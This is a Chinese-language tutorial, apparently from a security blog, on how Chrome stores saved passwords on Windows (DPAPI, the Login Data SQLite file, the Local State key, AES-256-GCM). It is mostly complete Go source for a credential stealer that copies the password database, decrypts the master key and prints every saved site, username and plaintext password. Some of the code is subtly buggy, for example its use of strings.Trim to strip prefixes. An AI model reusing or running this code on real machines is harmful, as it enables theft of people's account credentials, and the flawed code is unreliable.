工具

从理解上来说,可以参考一下HackBrowerData

因为支持全平台

HackBrowserData

windows DPAPI机制

image.png
查看密码的时候,需要凭证

chrome密码文件存放位置

  1. %LocalAppData%\Google\Chrome\User Data\Default\Login Data

image.png特性
如果用二进制文本编辑器查看会发现他其实是一个sqlite数据库文件
image.png
便可以使用工具SQLiteStudio可以打开他

  1. logins表中的data数据
  2. 可以看到有用户名和网址,但是却没有密码
  3. 但是密码的二进制实际上是有值的
  4. 如果当前用户正在使用google是无法打开数据库的,所以我们可以复制一份出来

80.X版本之前chrome解密

  1. var(
  2. dllcrypt32, _ = syscall.LoadLibrary("Crypt32.dll")
  3. procDecryptData, _ = syscall.GetProcAddress(dllcrypt32, "CryptUnprotectData")
  4. localStatePath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
  5. dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  6. )
  7. func Decrypt(data []byte) ([]byte, error) {
  8. var outblob DATA_BLOB
  9. r, _, err := syscall.Syscall9(procDecryptData, 7, uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)), 0, 0) //procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
  10. if r == 0 {
  11. return nil, err
  12. }
  13. defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
  14. return outblob.ToByteArray(), nil
  15. }
  16. func checkFileExist(filePath string) bool {
  17. if _, err := os.Stat(filePath); os.IsNotExist(err) {
  18. return false
  19. } else {
  20. return true
  21. }
  22. }
  23. func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
  24. sourceFile, err := os.Open(pathSourceFile)
  25. if err != nil {
  26. return err
  27. }
  28. defer sourceFile.Close()
  29. destFile, err := os.Create(pathDestFile)
  30. if err != nil {
  31. return err
  32. }
  33. defer destFile.Close()
  34. _, err = io.Copy(destFile, sourceFile)
  35. if err != nil {
  36. return err
  37. }
  38. err = destFile.Sync()
  39. if err != nil {
  40. return err
  41. }
  42. sourceFileInfo, err := sourceFile.Stat()
  43. if err != nil {
  44. return err
  45. }
  46. destFileInfo, err := destFile.Stat()
  47. if err != nil {
  48. return err
  49. }
  50. if sourceFileInfo.Size() == destFileInfo.Size() {
  51. } else {
  52. return err
  53. }
  54. return nil
  55. }
  56. func main(){
  57. if !checkFileExist(dataPath) {
  58. os.Exit(0)
  59. }
  60. err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
  61. if err != nil {
  62. log.Fatal(err)
  63. }
  64. db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
  65. if err != nil {
  66. log.Fatal(err)
  67. }
  68. defer db.Close()
  69. rows, err := db.Query("select origin_url, username_value, password_value from logins")
  70. if err != nil {
  71. log.Fatal(err)
  72. }
  73. defer rows.Close()
  74. for rows.Next(){
  75. var URL string
  76. var USERNAME string
  77. var PASSWORD string
  78. err = rows.Scan(&URL, &USERNAME, &PASSWORD)
  79. if err != nil {
  80. log.Fatal(err)
  81. }
  82. pass, err := Decrypt([]byte(PASSWORD))
  83. if err != nil {
  84. log.Fatal(err)
  85. }
  86. if URL != "" && URL != "" && string(pass) != "" {
  87. fmt.Println(URL, USERNAME, string(pass))
  88. }
  89. }
  90. }

不过版本限制是80.x版本之前

80版本之后chrome

判断是否是新版chrome

新版chrome加密后值前面有没有v10或v11字段

key的初始化

image.png
image.png

尝试从local state提取密钥

并且可以看到kDPAPIKeyPrefix实际上就是一个字符串”DPAPI”
image.png
然后就是进行DPAPI的解密,最后就是如果key不在local state中或者DPAPI解密失败,就会重新生存一个key
key初始化时候的动作:

  1. 从local state文件中提取key
  2. base64解密key
  3. 去除key开头的”DPAPI”
  4. DPAPI解密,得到最终的key

跟进GetString函数的参数kOsCryptEncryptedKeyPrefName

image.png
知道key存放在local state文件os_crypt.encrypted_key字段中
image.png
local state文件就是在本地默认目录中

  1. %LocalAppData%\Google\Chrome\User Data\Local State
  2. 本质上就是一个JSON格式的文件夹

明文加密方式

image.png
密钥加密后前缀是”v10”
密钥和NONCE/IV的长度分别是32字节和12字节

NONCE/IV 如果我不希望相同的明文通过密钥加密出来的密文是相同的 解决办法就是IV(初始向量)或者nonce(只使用一次的数值) 因为对于每条加密消息,我们都可以使用不同的byte字符串。

再往下翻阅,便是解密函数
image.png
encrypted_value的前缀v10后12字节的NONCE(IV),然后再是真正的密文。
chrome使用的是AES-256-GCM的AEAD对称加密算法
image.png

自动化抓取密码

首先从Local state获取key

  1. func getMasterKey() ([]byte, error) {
  2. //获取local state中的未解密的key
  3. var masterKey []byte
  4. jsonFile, err := os.Open(localStatePath)
  5. if err != nil {
  6. return masterKey, err
  7. }
  8. defer jsonFile.Close()
  9. byteValue, err := ioutil.ReadAll(jsonFile)
  10. if err != nil {
  11. return masterKey, err
  12. }
  13. var result map[string]interface{}
  14. json.Unmarshal([]byte(byteValue), &result)
  15. roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string)
  16. decodedKey, err := base64.StdEncoding.DecodeString(roughKey)
  17. stringKey := string(decodedKey)
  18. //去除DPAPI字符串
  19. stringKey = strings.Trim(stringKey, "DPAPI")
  20. //DPAPI解密
  21. masterKey, err = Decrypt([]byte(stringKey))
  22. if err != nil {
  23. return masterKey, err
  24. }
  25. return masterKey, nil
  26. }

因为chrome版本在80前后,是两套解密函数
所以要进行判断,这里以判断开头是否是”v10”来进行判断

  1. if strings.HasPrefix(PASSWORD, "v10") {
  2. PASSWORD = strings.Trim(PASSWORD, "v10")
  3. if string(masterKey) != "" {
  4. ciphertext := []byte(PASSWORD)
  5. c, err := aes.NewCipher(masterKey)
  6. if err != nil {
  7. fmt.Println(err)
  8. }
  9. gcm, err := cipher.NewGCM(c)
  10. if err != nil {
  11. fmt.Println(err)
  12. }
  13. nonceSize := gcm.NonceSize()
  14. if len(ciphertext) < nonceSize {
  15. fmt.Println(err)
  16. }
  17. nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
  18. plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
  19. if err != nil {
  20. fmt.Println(err)
  21. }
  22. if string(plaintext) != "" {
  23. fmt.Println("目标URL:\n", URL, "\n", "用户名:\n", USERNAME, "\n", "密码:\n", string(plaintext))
  24. }
  25. } else {
  26. mkey, err := getMasterKey()
  27. if err != nil {
  28. fmt.Println(err)
  29. }
  30. masterKey = mkey
  31. }
  32. } else {
  33. pass, err := Decrypt([]byte(PASSWORD))
  34. if err != nil {
  35. log.Fatal(err)
  36. }
  37. if URL != "" && URL != "" && string(pass) != "" {
  38. fmt.Println(URL, USERNAME, string(pass))
  39. }
  40. }
  1. package main
  2. import (
  3. "crypto/aes"
  4. "crypto/cipher"
  5. "database/sql"
  6. "encoding/base64"
  7. "encoding/json"
  8. "fmt"
  9. _ "github.com/mattn/go-sqlite3"
  10. "io"
  11. "io/ioutil"
  12. "log"
  13. "os"
  14. "strings"
  15. "syscall"
  16. "unsafe"
  17. )
  18. var (
  19. dllcrypt32, _ = syscall.LoadLibrary("Crypt32.dll")
  20. dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")
  21. procDecryptData, _ = syscall.GetProcAddress(dllcrypt32, "CryptUnprotectData")
  22. procLocalFree = dllkernel32.NewProc("LocalFree")
  23. dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  24. localStatePath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
  25. masterKey []byte
  26. )
  27. type DATA_BLOB struct {
  28. cbData uint32
  29. pbData *byte
  30. }
  31. func NewBlob(d []byte) *DATA_BLOB {
  32. if len(d) == 0 {
  33. return &DATA_BLOB{}
  34. }
  35. return &DATA_BLOB{
  36. pbData: &d[0],
  37. cbData: uint32(len(d)),
  38. }
  39. }
  40. func (b *DATA_BLOB) ToByteArray() []byte {
  41. d := make([]byte, b.cbData)
  42. copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
  43. return d
  44. }
  45. func Decrypt(data []byte) ([]byte, error) {
  46. var outblob DATA_BLOB
  47. r, _, err := syscall.Syscall9(procDecryptData, 7, uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)), 0, 0) //procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
  48. if r == 0 {
  49. return nil, err
  50. }
  51. defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
  52. return outblob.ToByteArray(), nil
  53. }
  54. func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
  55. sourceFile, err := os.Open(pathSourceFile)
  56. if err != nil {
  57. return err
  58. }
  59. defer sourceFile.Close()
  60. destFile, err := os.Create(pathDestFile)
  61. if err != nil {
  62. return err
  63. }
  64. defer destFile.Close()
  65. _, err = io.Copy(destFile, sourceFile)
  66. if err != nil {
  67. return err
  68. }
  69. err = destFile.Sync()
  70. if err != nil {
  71. return err
  72. }
  73. sourceFileInfo, err := sourceFile.Stat()
  74. if err != nil {
  75. return err
  76. }
  77. destFileInfo, err := destFile.Stat()
  78. if err != nil {
  79. return err
  80. }
  81. if sourceFileInfo.Size() == destFileInfo.Size() {
  82. } else {
  83. return err
  84. }
  85. return nil
  86. }
  87. func checkFileExist(filePath string) bool {
  88. if _, err := os.Stat(filePath); os.IsNotExist(err) {
  89. return false
  90. } else {
  91. return true
  92. }
  93. }
  94. func getMasterKey() ([]byte, error) {
  95. var masterKey []byte
  96. jsonFile, err := os.Open(localStatePath)
  97. if err != nil {
  98. return masterKey, err
  99. }
  100. defer jsonFile.Close()
  101. byteValue, err := ioutil.ReadAll(jsonFile)
  102. if err != nil {
  103. return masterKey, err
  104. }
  105. var result map[string]interface{}
  106. json.Unmarshal([]byte(byteValue), &result)
  107. roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string)
  108. decodedKey, err := base64.StdEncoding.DecodeString(roughKey)
  109. stringKey := string(decodedKey)
  110. stringKey = strings.Trim(stringKey, "DPAPI")
  111. masterKey, err = Decrypt([]byte(stringKey))
  112. if err != nil {
  113. return masterKey, err
  114. }
  115. return masterKey, nil
  116. }
  117. func main() {
  118. if !checkFileExist(dataPath) {
  119. os.Exit(0)
  120. }
  121. err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
  122. if err != nil {
  123. log.Fatal(err)
  124. }
  125. db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
  126. if err != nil {
  127. log.Fatal(err)
  128. }
  129. defer db.Close()
  130. rows, err := db.Query("select origin_url, username_value, password_value from logins")
  131. if err != nil {
  132. log.Fatal(err)
  133. }
  134. defer rows.Close()
  135. for rows.Next() {
  136. var URL string
  137. var USERNAME string
  138. var PASSWORD string
  139. err = rows.Scan(&URL, &USERNAME, &PASSWORD)
  140. if err != nil {
  141. log.Fatal(err)
  142. }
  143. //strings.HasPrefix函数用来检测字符串是否以指定的前缀开头
  144. if strings.HasPrefix(PASSWORD, "v10") {
  145. PASSWORD = strings.Trim(PASSWORD, "v10")
  146. if string(masterKey) != "" {
  147. ciphertext := []byte(PASSWORD)
  148. c, err := aes.NewCipher(masterKey)
  149. if err != nil {
  150. fmt.Println(err)
  151. }
  152. gcm, err := cipher.NewGCM(c)
  153. if err != nil {
  154. fmt.Println(err)
  155. }
  156. nonceSize := gcm.NonceSize()
  157. if len(ciphertext) < nonceSize {
  158. fmt.Println(err)
  159. }
  160. nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
  161. plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
  162. if err != nil {
  163. fmt.Println(err)
  164. }
  165. if string(plaintext) != "" {
  166. fmt.Println("目标URL:\n", URL, "\n", "用户名:\n", USERNAME, "\n", "密码:\n", string(plaintext))
  167. }
  168. } else {
  169. mkey, err := getMasterKey()
  170. if err != nil {
  171. fmt.Println(err)
  172. }
  173. masterKey = mkey
  174. }
  175. } else {
  176. pass, err := Decrypt([]byte(PASSWORD))
  177. if err != nil {
  178. log.Fatal(err)
  179. }
  180. if URL != "" && URL != "" && string(pass) != "" {
  181. fmt.Println(URL, USERNAME, string(pass))
  182. }
  183. }
  184. }
  185. err = rows.Err()
  186. if err != nil {
  187. log.Fatal(err)
  188. }
  189. }